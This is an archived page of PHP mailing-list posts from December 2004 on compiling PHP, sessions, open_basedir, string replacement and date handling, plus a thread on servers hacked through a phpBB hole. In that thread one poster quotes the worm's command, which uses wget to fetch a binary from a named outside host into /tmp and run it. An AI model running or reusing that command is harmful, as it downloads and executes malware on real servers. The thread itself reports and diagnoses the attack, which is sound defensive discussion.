Re: [PHP] String parsing issue in PHP 4.3.10?

2004-12-22 Thread Jason Wong
On Wednesday 22 December 2004 08:18, John Holmes wrote: > It is, I guess. > > > $a = ' ?> '; > $b = ' ?> '; > > ?> > > will work just fine. If you try to comment out either line, though, the PHP > processing will end at the ?> and spit out the rest as plain text. So, text > can have as many ?> as

[PHP] Re: can I compile php source

2004-12-22 Thread QT
thanks all "Qt" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] > hi, > > is there any way to compile php source to make binary file for protecting > source code? > > best regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Any bright solution for my problem?

2004-12-22 Thread QT
Dear Sirs, I have a database with thousands records. And every minutes I am selecting 50 rows from that database and send some data to another web url according sellected 50 rows. Whenever, my script finish job in one minute, I have no problem. Because after each transaction, I am uptading one of

[PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
Wasn't sure if I should post here or on the apache mailing list, but I want to code a simple apache2 module, that will change the 'open_basedir' at runtime. Is it possible, or does anyone know how I can change this value? Am’ I posting to the right list? ---

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
>On Wed, 22 Dec 2004, [EMAIL PROTECTED] Wrote: >Wasn't sure if I should post here or on the apache mailing list, but I want >to code a simple apache2 module, that will change the 'open_basedir' at >runtime. Is it possible, or does anyone know how I can change this value? >Am’ I posting to the rig

RE: [PHP] Any bright solution for my problem?

2004-12-22 Thread Jay Blanchard
[snip] Is there any way, to put flag or something like that, when sellecting rows with php and mysql? [/snip] You would essentially have to update each row as you retrieved it from the database, which is highly inefficient...get one row, update the same row, get the next row, update it...and so on

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip] After a little digging about I found this post: http://marc.theaimsgroup.com/?l=php-dev&m=106084499620342&w=2 I've just wondering what headers and libraries I will need to compile in as well? Do I just include the php.h, or is there a "how to" on this or some example code I can view for thi

RE: [PHP] layers

2004-12-22 Thread Jay Blanchard
[snip] The problem I am having doesn't exactly use PHP but, if you guys would help me out anyways, I would be very greatful. [/snip] There is a great maililng list at http://www.evolt.org for questions just like these. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http:

RE: [PHP] can I compile php source WOT

2004-12-22 Thread Jay Blanchard
[snip] No wonder there is so much war. Mostly started by people who know how to be self sufficient. [/snip] So, if everyone was self-sufficient there would be no war? Cool... ;) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Sesson handling with cookie

2004-12-22 Thread Bolla Sándor
Hi, PHP 4.2.2, MySQL 3.23.xx I have a problem destorying the actual session_id (SID)? I tried to use session_destroy(), session_unset, but nothing works, session_id() is always the same. What I want to do is: - After 30 Minutes if the user didn't do any work then let the session die - It must be

Re: [PHP] Any bright solution for my problem?

2004-12-22 Thread Brent Baisley
I can think of a few things off the top of my head. Not that any are perfect solutions. The first and most obvious would be to select your 50 record set into memory, update the records as "processing", then deliver the data, then update the records as "used". Or, have another table with one re

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
On: Wed, 22 Dec 2004 06:50:25 Jay Blanchard wrote: [snip] After a little digging about I found this post: http://marc.theaimsgroup.com/?l=php-dev&m=106084499620342&w=2 I've just wondering what headers and libraries I will need to compile in as well? Do I just include the php.h, or is there a "how

[PHP] Re: Sesson handling with cookie

2004-12-22 Thread Jason Barnett
Bolla sándor wrote: Hi, PHP 4.2.2, MySQL 3.23.xx I have a problem destorying the actual session_id (SID)? I tried to use session_destroy(), session_unset, but nothing works, session_id() is always the same. Assuming you are using cookies... are you also destroying the user's cookie in this proces

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip] >On Wed, 22 Dec 2004, [EMAIL PROTECTED] Wrote: >Wasn't sure if I should post here or on the apache mailing list, but I want >to code a simple apache2 module, that will change the 'open_basedir' at >runtime. Is it possible, or does anyone know how I can change this value? And few I didn't i

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
>On Wed, 22 Dec 2004 08:54:39 Jay Blanchard wrote: >[snip] >>On Wed, 22 Dec 2004, [EMAIL PROTECTED] Wrote: >>Wasn't sure if I should post here or on the apache mailing list, but I >want >>to code a simple apache2 module, that will change the 'open_basedir' at >>runtime. Is it possible, or does any

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread Jay Blanchard
[snip] I haven't tried this question on the Apache mailing list. But after finding more stuff about the 'zend_alter_ini_entry' in the PHP Dev mailing list I wanted to try here first. In that case I'm off to join yet another mailing list... erghhh. Thank you for the help anyway Jay, but this proble

RE: [PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
> On Wed, 22 Dec 2004 Jay Blanchard wrote: > [snip] > I haven't tried this question on the Apache mailing list. But after > finding more stuff about the 'zend_alter_ini_entry' in the PHP Dev > mailing list I wanted to try here first. In that case I'm off to > join yet another mailing list... erghh

Re: [PHP] fsockopen to own server

2004-12-22 Thread Doc
Thanks for your (and everyone else's) help so far. I've given up on this. Got another one off the web which uses pop3 and mail() to achieve the same thing. Thanks anyway Dave -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Replacing whole words only

2004-12-22 Thread Chris Boget
Is there a way to replace/remove *whole* words from a phrase? For example: 0 ) { foreach( $exceptionsList as $exceptionPhrase ) { $stringToParse = str_replace( $exceptionPhrase, '', trim( $stringToParse )); } $retval = trim( $stringToParse ); } echo 'Retval: ' . $retval .

[PHP] Re: Sesson handling with cookie

2004-12-22 Thread Bolla Sándor
Jason Barnett wrote: Bolla sándor wrote: Hi, PHP 4.2.2, MySQL 3.23.xx I have a problem destorying the actual session_id (SID)? I tried to use session_destroy(), session_unset, but nothing works, session_id() is always the same. Assuming you are using cookies... are you also destroying the user's

Re: [PHP] Replacing whole words only

2004-12-22 Thread David OBrien
The case is what's stopping it from working a str_replace(strtolower($exceptionphrase) , '' , strtolower($stringtoparse)) would take the case out of the equation and for php5 theres always the case insensitive version str_ireplace() -David > > From: "Chris Boget" <[EMAIL PROTECTED]> > Date: 20

Re: [PHP] Replacing whole words only

2004-12-22 Thread Chris Boget
> The case is what's stopping it from working > a str_replace(strtolower($exceptionphrase) , '' , > strtolower($stringtoparse)) would take the case out of the equation No, that didn't entire quite work, either. The result from this change is "or ldy lughed" and not the desired result of "lady la

[PHP] Re: can I compile php source

2004-12-22 Thread QT
hi, can you suggest any good compiler? thank you "Jason Barnett" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] > Qt wrote: > > hi, > > > > is there any way to compile php source to make binary file for protecting > > source code? > > > > best regards > > Yes. -- PHP General Maili

Re: [PHP] Replacing whole words only

2004-12-22 Thread John Holmes
> From: "Chris Boget" <[EMAIL PROTECTED]> > Is there a way to replace/remove *whole* words from a > phrase? For example: [snip] > $stringToParse = str_replace( $exceptionPhrase, '', trim( > $stringToParse )); Try this instead of str_replace() $stringToParse = preg_replace("/(^|\\W){$exce

RE: [PHP] Re: can I compile php source

2004-12-22 Thread Jay Blanchard
[snip] can you suggest any good compiler? [/snip] http://www.priadoblender.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Replacing whole words only

2004-12-22 Thread David OBrien
I'm also an idiot ... Something else, the "or" output is occurring because the exception "the" matches "other " first so "other" becomes "or" minus the "the"... So heres what I did ... $search = array( '/\bthe\b/', '/\bother\b/', '/\bthat\b/', '/\ba\b/' ); $string = 'The other lady that laughed'

[PHP] Got to be an easier way to get a list of files/folders?

2004-12-22 Thread Tristan . Pretty
I'm writing a photo gallery for my site. I want to make it as idiot proof as possible... What I'm planning, is to is upload my pics to a folder in the photo directory, and then run a scan to see what new folders there are. All good, I've built a DB backend to lsit teh folders etc... but I need to

Re: [PHP] How do I find my php.ini file?

2004-12-22 Thread Rasmus Lerdorf
John Nichel wrote: Don wrote: Hi, Fedora Core 3, PHP 5.03, MySQL 4.17, Apache 2.0.52 Recent PHP installation. I created a phpinfo() page. When I display it in my browser, it says: Configuration File (php.ini) Path/etc Yet when I log on to my server and look for it in /etc, it is not the

Re: [PHP] String parsing issue in PHP 4.3.10?

2004-12-22 Thread Curt Zirzow
* Thus wrote Jason Wong: > On Wednesday 22 December 2004 08:18, John Holmes wrote: > > > It is, I guess. > > > > > > > $a = ' ?> '; > > $b = ' ?> '; > > > > ?> > > > > will work just fine. If you try to comment out either line, though, the PHP > > processing will end at the ?> and spit out the re

Re: [PHP] Got to be an easier way to get a list of files/folders?

2004-12-22 Thread Tristan . Pretty
Ignore me.. I'm dumb after all... I found what I needed in my very first PHP book...! Jeeez, is it Friday yet??? [EMAIL PROTECTED] 22/12/2004 16:20 To php-general@lists.php.net cc Subject [PHP] Got to be an easier way to get a list of files/folders? I'm writing a photo gallery for m

Re: [PHP] PHP and Post Data

2004-12-22 Thread Richard Lynch
Shane Mc Cormack wrote: > However, I am programming my own, and I have the Posted Data stored in > the memory of the webserver, and when i execute the PHP.exe i need to > tell it what the PostData is somehow. Call me silly, but I'm guessing you could read the Apache source and figure out how they

Re: [PHP] Newbie, easy question...

2004-12-22 Thread Richard Lynch
GaryH wrote: > Below is a simple php file that recieves input from a form html file. > The > php file outputs the first and last name, but their is no space between > the > names. Does anyone know how I can get a space between name in the php > file? But there *IS* a space between them. You put

Re: [PHP] String parsing issue in PHP 4.3.10?

2004-12-22 Thread Richard Lynch
Jason Wong wrote: > On Wednesday 22 December 2004 03:53, Richard Lynch wrote: > >> ?> can be caught by PHP as the end of PHP mode, no matter where you put >> it >> in a string or not. > > You can't be serious? Or have I misunderstood you? > > '; ?> > > Works as expected, ie displays "". I pl

Re: [PHP] How to set register_globals=off in the script?

2004-12-22 Thread Richard Lynch
Sebastian wrote: > if the script isn't that big you can probably use extract() in most > cases.. NOTE: Using extract() blindly import all the variables in $_GET/$_POST/$_REQUEST is no more safe than register_globals being "ON" Don't get a false sense of "Security" Also, it would be rather trick

Re: [PHP] curl CUSTOMREQUEST

2004-12-22 Thread Richard Lynch
Juan Nin wrote: > I saw a post at http://www.php.net/manual/en/ref.curl.php where it says: > > "Using the customrequest for a complete post is wrong. Libcurl will add > a partial url, the http version and the standard headers after the post > data - while this works with a non-persistent connection

[PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread Michael Brennan-White
I am creating a query and displaying the results during a while Loop. I know how to get the total number of rows but need to know which row I am currently working on in the loop. Thanks in advance for your help -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.

RE: [PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread Jay Blanchard
[snip] I am creating a query and displaying the results during a while Loop. I know how to get the total number of rows but need to know which row I am currently working on in the loop. [/snip] You need a variable, like $i, to hold the number, then increment and display $i = 0; while(your dat

[PHP] Getting Query Results Row Number during a While Loop

2004-12-22 Thread The Snake from Hell!
If you know the row count then use a for loop. $count = mysql_num_rows($result); for ($i=0;$i<$count;$i++) { echo "I = $i"; } Brad Dameron Systems Administrator SeaTab Software www.seatab.com >I am creating a query and displaying the results during a while Loop. I know how to get >the tot

[PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:30 it looks as if the attack started. By 11

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Nichel wrote: I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:30 it looks as if the att

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]> > I haven't fully researched it yet, but our domains were just hacked, and > from the looks of it, the attack came in thru phpBB. Not keeping up with the news, eh? ;) There was a big discussion about this on slashdot and other news sites. The worm actual

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ben
Ashley M. Kirchner wrote: You're missing the fact that you need to read phpBB's web site from time to time. And subscribe to BugTraq. It would have given you a month's warning. - Ben -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Roger Spears
John Nichel wrote: I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:30 it looks as if the atta

RE: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jesse Castro
I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:30 it looks as if the attack started. By 1

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
Ashley M. Kirchner wrote: John Nichel wrote: I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Roger Spears
John Nichel wrote: I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. This morning, around 9:00am, I upgraded our webserver to php v4.3.10 from v4.3.9 due to potential security risks, and at 11:30 it looks as if the atta

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
John Holmes wrote: From: John Nichel <[EMAIL PROTECTED]> I haven't fully researched it yet, but our domains were just hacked, and from the looks of it, the attack came in thru phpBB. Not keeping up with the news, eh? ;) There was a big discussion about this on slashdot and other news sites. The

[PHP] Re: can I compile php source

2004-12-22 Thread Manuel Lemos
Hello, on 12/22/2004 01:52 PM Qt said the following: can you suggest any good compiler? AFAIK, there is only one PHP compiler: Roadsend http://www.roadsend.com/ -- Regards, Manuel Lemos PHP Classes - Free ready to use OOP components written in PHP http://www.phpclasses.org/ PHP Reviews - Reviews of

[PHP] hackers?

2004-12-22 Thread Sebastian
not sure if this is a stupid question, but im looking for a person or a place that will check or try to "break" a site. not in a bad way of course.. just trying to see things from a security point. you can be the best coder out there and still have a flaw that you might not see, but another might.

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Holmes wrote: I thought we all knew better than to use phpBB? I'd be interested to know what other applications you suggest that compares to phpBB. Just for my own curiosity. -- W | I haven't lost my mind; it's backed up on tape somewhere. +--

Re: [PHP] hackers?

2004-12-22 Thread Chris Boget
> not sure if this is a stupid question, > but im looking for a person or a place that will check or try to "break" a > site. Check out Netcraft. They are very good though quite pricey, however. thnx, Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php

RE: [PHP] hackers?

2004-12-22 Thread Vail, Warren
> > not sure if this is a stupid question, > but im looking for a person or a place that will check or try > to "break" a site. > Does sound a little like walking into a tough bar with a gun looking for someone to shoot you, but while I would be tempted to lurk around these guy's a little to fig

RE: [PHP] hackers?

2004-12-22 Thread phpninja
Not many people will do this for free, and there area actually whole IT security firms that base their whole buisness on trying to break peoples systems. Check this google search under the sponsered links on the right and you'll see what im talking about: http://www.google.com/search?hl=en&lr=&q=n

[PHP] Re: Replacing whole words only

2004-12-22 Thread Daniel Schierbeck
Chris Boget wrote: Is there a way to replace/remove *whole* words from a phrase? For example: if( count( $exceptionsList ) > 0 ) { foreach( $exceptionsList as $exceptionPhrase ) { $stringToParse = str_replace( $exceptionPhrase, '', trim( $stringToParse )); } $retval = trim( $s

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Donald Tyler
I did RTFM. The exact page you linked to in fact: QUOTE: Requirements In order to have these functions available, you must compile PHP with support for the mysqli extension. END QUOTE That is the whole point of my request. I need a guide explaining *how* to compile the PHP Source. John Nichel

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Jason Barnett
Donald Tyler wrote: I did RTFM. The exact page you linked to in fact: QUOTE: Requirements In order to have these functions available, you must compile PHP with support for the mysqli extension. END QUOTE That is the whole point of my request. I need a guide explaining *how* to compile the PHP S

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread rogerk
Quoting Donald Tyler <[EMAIL PROTECTED]>: > I did RTFM. The exact page you linked to in fact: > > QUOTE: > > > Requirements > > In order to have these functions available, you must compile PHP with > support for the mysqli extension. > > > END QUOTE > > That is the whole point of my request. I n

Re: [PHP] hackers?

2004-12-22 Thread Manuel Lemos
Hello Sebastian, Sebastian said the following: not sure if this is a stupid question, but im looking for a person or a place that will check or try to "break" a site. not in a bad way of course.. just trying to see things from a security point. you can be the best coder out there and still have a f

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Bruce Douglas
if you want to know/have a rough guide on building/compiling php with mysql/mysqli support, the following link should help you out... although it's for linux.. http://marc.theaimsgroup.com/?l=php-general&m=109026859726530&w=2 it kind of walks you through what you need to do.. hope it helps...

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread John Nichel
Donald Tyler wrote: I did RTFM. The exact page you linked to in fact: QUOTE: Requirements In order to have these functions available, you must compile PHP with support for the mysqli extension. END QUOTE That is the whole point of my request. I need a guide explaining *how* to compile the PHP S

Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]> > I'm currently going thru logs from previous days to see if I was getting > this 'attack' before upgrading to php v4.3.10 > > That's why I'm wanted to post this here...just in case it isn't phpBB > problem. Many people were trying to tie the vulnerabili

[PHP] Newbie question? diagnosing a script

2004-12-22 Thread Al Guevara
Hi Yall! I dont know if Im goin overboard askin this, but here goes... What /how does one use to diagnose a php script (for a link exchange) as to why it wont work/write to the file? With Cgi, one can use a telnet shell.. is there a thing to use for diagnosing php? Thank Mucho submit pa

Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: "Ashley M. Kirchner" <[EMAIL PROTECTED]> > >I thought we all knew better than to use phpBB? > > > I'd be interested to know what other applications you suggest that > compares to phpBB. Just for my own curiosity. Invision Power Board or vBulletin. Yes, both cost money (now, at least

RE: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Chris Mason
I had a later php so my phpBB did not get hacked. However, on another dedicated server, I am running Redhat 7.3 and it would be dificult at present to move to a more up to date server. I can't find a more recent rpm, is there a way I can patch the source rpm to fix this vunerability? Chris Mason

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Donald Tyler
[EMAIL PROTECTED] wrote: Quoting Donald Tyler <[EMAIL PROTECTED]>: I did RTFM. The exact page you linked to in fact: QUOTE: Requirements In order to have these functions available, you must compile PHP with support for the mysqli extension. END QUOTE That is the whole point of my request. I nee

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jason Wong
On Thursday 23 December 2004 06:28, Chris Mason wrote: > I had a later php so my phpBB did not get hacked. However, on another > dedicated server, I am running Redhat 7.3 and it would be dificult at > present to move to a more up to date server. I can't find a more recent > rpm, is there a way I ca

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
John Holmes wrote: From: John Nichel <[EMAIL PROTECTED]> I'm currently going thru logs from previous days to see if I was getting this 'attack' before upgrading to php v4.3.10 That's why I'm wanted to post this here...just in case it isn't phpBB problem. Many people were trying to tie the vuln

[PHP] Strange issues with header output

2004-12-22 Thread daniel
Hi there, I have been building a player script which outputs a windows media asx playlist with theheader output type of video-ms-wmv. I have experienced some wierd issues when i use ifstatements at certain points with the header tag enclosed within it, i get unexpected results on themac plugin. "

Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]> > http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513 wow... all this fuss because they ran urldecode() on something that was already decoded (and what they do with the data after the fact, of course)... ---John Holmes... UCCASS - PHP Survey System ht

Re: [PHP] Strange issues with header output

2004-12-22 Thread John Holmes
> From: <[EMAIL PROTECTED]> > Hi there, I have been building a player script which outputs a windows > media asx playlist with theheader output type of video-ms-wmv. I have > experienced some wierd issues > when i use ifstatements at certain points with the header tag enclosed within > it, i get

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
Jason Wong wrote: On Thursday 23 December 2004 06:28, Chris Mason wrote: I had a later php so my phpBB did not get hacked. However, on another dedicated server, I am running Redhat 7.3 and it would be dificult at present to move to a more up to date server. I can't find a more recent rpm, is there

[PHP] Frameworks

2004-12-22 Thread Bruno B B Magalhães
Hi everybody, well I was measuring my framework performance on a real production server... And the average execution time with 20 requests per second is 0.025 seconds. Course it will change according to the server hardware, but I am searching for a REALLY fast framework environment that can ac

Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> Stop relying on RPMs and compile Apache + PHP from source. That way you can > get all the latest bugs. Hmmm... I hope you meant "fix" the latest bugs... ;) ---John Holmes... UCCASS - PHP Survey System http://www.bigredspark.com/survey.html -- PHP General Mailing List (http://www.php.net/) T

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Nichel wrote: echo ___INICIO___;cd /tmp;wget http://www.intranorth.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin;echo ___FIM___; It also downloaded a file from a Brazilian website, and executed it in the /tmp directory...I deleted all of those, but saved one to 'play' with later. # strings

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jason Wong
On Thursday 23 December 2004 06:59, John Holmes wrote: > > Stop relying on RPMs and compile Apache + PHP from source. That way you > > can get all the latest bugs. > > Hmmm... I hope you meant "fix" the latest bugs... ;) No, fixing some of the known bugs is a bonus ;) -- Jason Wong -> Gremlins A

Re: Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread John Holmes
> OK, I guess I'll try to read the instructions again. I *have* tried > reading them on multiple occasions but its just greek to me. Then your next question to the list should be along the lines of: "I have tried the instructions at http://... I got to step X and couldn't get any further. I typ

Re: [PHP] Newbie question? diagnosing a script

2004-12-22 Thread Richard Lynch
Al Guevara wrote: > I dont know if Im goin overboard askin this, but here goes... What /how > does one use to diagnose a php script (for a link exchange) as to why it > wont work/write to the file? With Cgi, one can use a telnet shell.. is > there a thing to use for diagnosing php? Perhaps htt

Re: [PHP] Re: Replacing whole words only

2004-12-22 Thread Richard Lynch
Daniel Schierbeck wrote: > Chris Boget wrote: >> Is there a way to replace/remove *whole* words from a >> phrase? For example: >> >> > $exceptionsList = array( 'the', 'other', 'that', 'a' ); >> $stringToParse = 'The other lady that laughed'; >> >> if( count( $exceptionsList ) > 0 ) { >>

Re: [PHP] Strange issues with header output

2004-12-22 Thread Richard Lynch
[EMAIL PROTECTED] wrote: > Hi there, I have been building a player script which outputs a windows > media asx playlist with theheader output type of video-ms-wmv. I have > experienced some wierd issues > when i use ifstatements at certain points with the header tag enclosed > within it, i get > une

[PHP] Date problem?

2004-12-22 Thread PHP
echo date('F',strtotime("next month"));   This is printing February right now. Does this sound right or is this a but in strtotime()? is "next month" a valid parameter?   and yes, I am sure our server is set to December(todays date).   echo date('F',strtotime("last month")); Does give me No

Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Richard Lynch
John Holmes wrote: >> Stop relying on RPMs and compile Apache + PHP from source. That way you >> can >> get all the latest bugs. > > Hmmm... I hope you meant "fix" the latest bugs... ;) Both statements are equally true. :-) But, on the bright side, the Bad Guys have had less time to find and expl

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Paul Aviles
John, can you maybe post the IP addresses of where does attacks came from or any other related info? Thanks -pa - Original Message - From: "John Nichel" <[EMAIL PROTECTED]> To: "PHP Mailing Lists" Sent: Wednesday, December 22, 2004 5:46 PM Subject: Re: [PHP] PHP Exploit via phpBB? Joh

Re: [PHP] Date problem?

2004-12-22 Thread Christopher Fulton
Try this instead... echo date('F',strtotime("+1 month")); read through the user comments at... http://us2.php.net/manual/en/function.strtotime.php there are some things pertaining to your situtation -Chris On Wed, 22 Dec 2004 15:38:38 -0800, PHP <[EMAIL PROTECTED]> wrote: > > echo date('F'

[PHP] Strange issues with header output

2004-12-22 Thread The Disguised Jedi
> Most likely, your $_SESSION isn't set up. Yes, unless session.auto_start is enabled that is probably your problem. Run session_start(); before you do the if statement. > Show us more of your script. This would definitely help -- The Disguised Jedi [EMAIL PROTECTED] PHP rocks! "Knowledge is Po

Re: [PHP] Date problem?

2004-12-22 Thread PHP
Hi, I did use the +1 month, but I was just curious as to what was up. Try this instead... echo date('F',strtotime("+1 month")); read through the user comments at... http://us2.php.net/manual/en/function.strtotime.php there are some things pertaining to your situtation -Chris On Wed, 22 Dec 2004

[PHP] Manual

2004-12-22 Thread PHP
Hi, Can I no longer download the latest manual with user comments included? The latest chm does not have any and I don't see any option to dowload a file with them. No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12

Re: [PHP] Date problem?

2004-12-22 Thread PHP
Ok, I was using the download version of the manual and it didn't have any user comments on this, but the online one does. Hi, I did use the +1 month, but I was just curious as to what was up. Try this instead... echo date('F',strtotime("+1 month")); read through the user comments at... http:/

Re: [PHP] Date problem?

2004-12-22 Thread Sebastian
try +one month - Original Message - From: PHP To: php Sent: Wednesday, December 22, 2004 6:38 PM Subject: [PHP] Date problem? echo date('F',strtotime("next month")); This is printing February right now. Does this sound right or is this a but in strtotime()? is "next mon

[PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Tim Burgan
Hello, I have a database driven (MS Access 2000) PHP website that runs fine on my localhost (Apache, WinXP, PHP 4.3.9), but when I upload it to the web host (IIS, PHP 4.3.10) and try to access a page I receive the following error: Fatal error: Call to a member function on a non-object in c:\XX

RE: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Michael Sims
Tim Burgan wrote: > Fatal error: Call to a member function on a non-object in > c:\XXX\inc\dbConnOpen.php on line 17 [...] > The file in question contains code that forms a connection to the > database. I've used this EXACT same code on this same website for the > last 8 months (both on localhost

Re: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Tim Burgan
Hi Michael, Michael Sims wrote: [...] These might be relevant: http://bugs.php.net/bug.php?id=31159 http://marc.theaimsgroup.com/?l=php-dev&m=110375720614120&w=2 Thanks for your reply. This does sound like it is the problem. Does anyone know if there is a workaround for this? Ti

[PHP] install error:cyrus-imap version 2.0.8 or greater required

2004-12-22 Thread newbin shang
>List: php-install >Subject:[PHP-INSTALL] configure: error: cyrus-imap version >2.0.8 or greater required >From: "Michael J. Pelletier" ! com> >Date: 2003-11-03 6:45:59 > >Hello, > >When I try to compile with cyrus I get > >checking for cyrus imap support... yes >configure: er

[PHP] Checking Original URL

2004-12-22 Thread The Disguised Jedi
I have a file "image_server.php" that receives requests through tags & GET variables, and returns the requested image with PHP GD support. That runs all fine and dandy, but I want to check the absolute URL that is calling it to make sure it is an approved URL. (For example, I need the URL of the

Re: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Chris
Did you upgrade Zend Optimizer when you upgraded to 4.3.10 ? People are seeing quite a few problems when they dont, and this could be releated to that. Chris Tim Burgan wrote: Hello, I have a database driven (MS Access 2000) PHP website that runs fine on my localhost (Apache, WinXP, PHP 4.3.9),

Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 13:56:39 -0800, Donald Tyler <[EMAIL PROTECTED]> wrote: > I do have a rudimentary knowledge of *nix stuff I don't mean to offend, but it doesn't really seem so. Basic *nix skills usually include knowing how to configure, compile, and install software from source. The PHP docs

[PHP] Calling php from cron

2004-12-22 Thread blackwater dev
I need to use cron to call my php simpletest runner but am not sure of the syntax. What syntax would I use for the cron job to call an external webpage? My webhost uses webmin where I can just enter the command. I don't want to call a page on the server but an another server. Thanks! -- PHP G

Re: [PHP] Frameworks

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 21:04:46 -0200, Bruno B B Magalhães <[EMAIL PROTECTED]> wrote: > I am searching for a REALLY fast framework environment > that can actually run on a production server. I want to know about your > experiences with, best practices, everything you guys can share I will > love! I'v

Re: [PHP] Checking Original URL

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 20:50:01 -0700, The Disguised Jedi <[EMAIL PROTECTED]> wrote: > I have a file "image_server.php" that receives requests through > tags & GET variables, and returns the requested image with PHP GD > support. > > That runs all fine and dandy, but I want to check the absolute URL

Re: [PHP] Calling php from cron

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 21:32:39 -0500, blackwater dev <[EMAIL PROTECTED]> wrote: > I need to use cron to call my php simpletest runner but am not sure of > the syntax. What syntax would I use for the cron job to call an > external webpage? My webhost uses webmin where I can just enter the > command.

Re: [PHP] Manual

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 16:18:01 -0800, PHP <[EMAIL PROTECTED]> wrote: > Can I no longer download the latest manual with user comments included? The > latest chm does not have any and I don't see any option to dowload a file > with them. You can grab a copy of any website with one command: wget -m -n

  1   2   >